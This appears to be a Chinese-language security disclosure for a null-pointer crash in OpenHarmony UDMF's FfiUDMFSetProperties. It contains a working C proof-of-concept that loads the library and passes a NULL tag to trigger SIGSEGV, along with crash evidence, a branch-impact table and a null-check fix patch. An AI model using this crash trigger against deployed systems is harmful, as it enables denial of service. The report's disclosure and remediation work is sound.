FfiUDMFSetProperties 对 properties.tag 未判空即传入 Utils::MallocCString（形参 const std::string&，utils.cpp:18）——char* NULL 隐式构造 std::string(nullptr) → strlen(NULL) SIGSEGV。round-trip 自毁论据：FfiUDMFGetProperties 对空存储 tag 本来就返回 nullptr（MallocCString 对空 std::string 返回 nullptr），即 getter 的合法输出直接喂回 setter 必崩——可达性不依赖恶意调用者，正常 API 使用模式即触发。

触发条件：CUnifiedDataProperties { CArrParameters extras; char* tag; int64_t timestamp; int32_t shareOptions; }（interfaces/cj/include/unified_data_impl.h）

影响路径：FfiUDMFSetProperties（FFI 导出符号；CUnifiedDataProperties.tag 直传 Utils::MallocCString）

3. PoC 源代码

```
/* Malformed-input client for the OpenHarmony x86_64 CJ UDMF exported ABI.
 * ABI source: udmf interfaces/cj/include/unified_data_impl.h
 *   CParameters { int8_t valueType; char* key; void* value; int64_t size; }
 *   CArrParameters { CParameters* head; int64_t size; }
 *   CUnifiedDataProperties { CArrParameters extras; char* tag; int64_t timestamp; int32_t shareOption
s; }
 * Type codes (interfaces/cj/src/unified_data_parameter_parse.cpp:34-39):
 *   I32_TYPE=0 I64_TYPE=1 DOUBLE_TYPE=2 BOOL_TYPE=3 STR_TYPE=4 UINT8_ARRAY_TYPE=5
 *
 * Candidate A (stale, expected falsified on this snapshot):
 *   SetDataParameters enters head+i loop — current code guards head==nullptr
 *   (unified_data_parameter_parse.cpp SetDataParameters first if-statement).
 * Candidate B (under test, expected crash):
 *   FfiUDMFSetProperties -> prop->tag = Utils::MallocCString(properties.tag)
 *   (interfaces/cj/src/unified_data_ffi.cpp FfiUDMFSetProperties body);
 *   MallocCString takes const std::string& (interfaces/cj/src/utils.cpp:18),
 *   so tag==NULL constructs std::string(nullptr) -> strlen(NULL) SIGSEGV.
 *   Note FfiUDMFGetProperties returns tag=nullptr for an empty stored tag,
 *   i.e. the getter's own output is not valid setter input (round-trip crash).
 * Prerequisite: FfiUDMFUnifiedDataConstructor() must return a valid id.
 * No target implementation is copied into this client.
 *
 * Case matrix (sequential single process; the crash case is placed last so
 * earlier cases' done-markers give crash attribution):
 *   0  extras{valid 1 param I32, size=1} + tag="rt-tag"   control
 *   1  extras{head=NULL, size=3}         + tag="rt-tag"  stale candidate
 *   2  extras{head=NULL, size=0}         + tag="rt-tag"  zero-size control
 *   3  extras{valid 1 param I32, size=1}  + tag=NULL      candidate B
 */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>

typedef struct { int8_t valueType; char *key; void *value; int64_t size; } CParameters;
typedef struct { CParameters *head; int64_t size; } CArrParameters;
typedef struct {
    CArrParameters extras;
    char *tag;
    int64_t timestamp;
    int32_t shareOptions;
} CUnifiedDataProperties;

_Static_assert(sizeof(void *) == 8, "x86_64 caller required");

int main(int argc, char **argv)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    if (argc != 2) return 2;
    void *library = dlopen(argv[1], RTLD_NOW | RTLD_LOCAL);
    if (!library) { fprintf(stderr, "load_error=%s\n", dlerror()); return 3; }

    int64_t (*constructor)(void) =
        (int64_t (*)(void))dlsym(library, "FfiUDMFUnifiedDataConstructor");
    void (*set_props)(int64_t, CUnifiedDataProperties) =
        (void (*)(int64_t, CUnifiedDataProperties))dlsym(library, "FfiUDMFSetProperties");
    if (!constructor || !set_props) { fputs("missing UDMF export\n", stderr); return 4; }
```

```
    puts("stage=env_probe start");
    int64_t data_id = constructor();
    printf("stage=env_probe constructor id=%lld\n", (long long)data_id);
    if (data_id <= 0) { puts("stage=env_probe failed"); return 10; }
    puts("stage=env_probe ok");

    CParameters valid_param = { 0 /*I32_TYPE*/, "k0", NULL, 0 };
    int32_t valid_val = 42;
    valid_param.value = &valid_val;

    const struct {
        CUnifiedDataProperties props;
        const char *name;
    } cases[] = {
        { { { &valid_param, 1 },  "rt-tag", 0, 1 }, "valid_control" },
        { { { NULL, 3 },           "rt-tag", 0, 1 }, "null_head_size3_stale_candidate" },
        { { { NULL, 0 },           "rt-tag", 0, 1 }, "null_head_size0_control" },
        { { { &valid_param, 1 },  NULL,     0, 1 }, "null_tag_candidate" },
    };

    for (size_t k = 0; k < sizeof(cases) / sizeof(cases[0]); k++) {
        printf("case=%zu name=%s start head=%p tag=%s size=%lld\n", k, cases[k].name,
               (void *)cases[k].props.extras.head,
               cases[k].props.tag ? cases[k].props.tag : "(null)",
               (long long)cases[k].props.extras.size);
        set_props(data_id, cases[k].props);
        printf("case=%zu name=%s done\n", k, cases[k].name);
    }
    puts("malformed_matrix=completed_no_crash");
    return 0;
}
```

PoC 使用方法： 真库运行级：libcj_unified_data_channel_ffi.z.so（官方完整树构建，317/317 全绿，sha256 773867c9...213ee59）dlopen 驱动 tools/validation_cases/udmf_null_tag.c：case0-2 对照/证伪 不崩（含旧候选 extras.head=NULL 证伪）；case3（tag=NULL）→ SIGSEGV（run.exit=139）；gdb add-symbol-file 符号化 #0 strlen → #3 FfiUDMFSetProperties（unified_data_ffi.cpp:134）。evidence zip sha256 a70accc9...14df（run1+run2+MANIFEST）。

4. 影响分析

影响的代码模块：foundation/distributeddatamgr/udmf

影响的功能模块：udmf

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: — not_affected（符号探测：该分支基线无该文件或漏洞符号） - v5.0: — not_affected（符号探测：该分支基线无该文件或漏洞符号） - v5.1: — not_affected（符号探测：该分支基线无该文件或漏洞符号） - v6.0: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - v7.0: 🔴 affected（符号探测：漏洞函数在该分支基线中在位） - master: 🔴 affected（检出级：验证基线 a4882ad72459；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 3 = 检出级 1 + 符号探测 2；not_affected 3；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: ？ 无上游版本信息，无法预测 - [预测] v5.0: ？ 无上游版本信息，无法预测 - [预测] v5.1: ？ 无上游版本信息，无法预测 - [预测] v6.0: ？ 无上游版本信息，无法预测 - [预测] v7.0: ？ 无上游版本信息，无法预测 - [预测] master: ？ 无上游版本信息，无法预测

5. 修复建议

FfiUDMFSetProperties 对 properties.tag 判空（tag != nullptr ? Utils::MallocCString(...) : 空串语义），或 Utils::MallocCString 增加 const char* 判空重载（与 UDMF_REAL_LIBRARY_CONFIRM_20261009.md 后续节一致）；同步核查同文件其余直传点。

修复补丁（原件 `cases/udmf_ffi_setproperties_null_tag/patch.diff`；`patches/udmf_ffi_setproperties_null_tag.patch` 为同内容镜像）：

```
# 修复建议补丁（udmf_ffi_setproperties_null_tag）
# 口径：FfiUDMFSetProperties 对 properties.tag 判空；或为 Utils::MallocCString增加 const char* 判空重载（工单给了两个可选口径，本补丁取入口判空）。
# 基线：/home/beichen/oh 官方完整树对应仓（见 case.json oh_source）
# 生成：2026-10-17，由原始源文件机械生成（scratch 副本编辑，树内文件未动）
--- a/foundation/distributeddatamgr/udmf/interfaces/cj/src/unified_data_ffi.cpp
+++ b/foundation/distributeddatamgr/udmf/interfaces/cj/src/unified_data_ffi.cpp
@@ -131,7 +131,9 @@
     AAFwk::WantParams wantP;
     SetDataParameters(properties.extras, wantP);
     prop->extras = wantP;
-    prop->tag = Utils::MallocCString(properties.tag);
+    // tag 为 CJ 侧可空字符串：空指针按空串语义，防 std::string(nullptr) 崩溃
+    // （round-trip 论据：GetProperties 对空 tag 本就返回 nullptr）
+    prop->tag = properties.tag != nullptr ? Utils::MallocCString(properties.tag) : "";
     prop->shareOptions = UDMF::ShareOptions(properties.shareOptions);
     data->unifiedData_->SetProperties(prop);
 }
```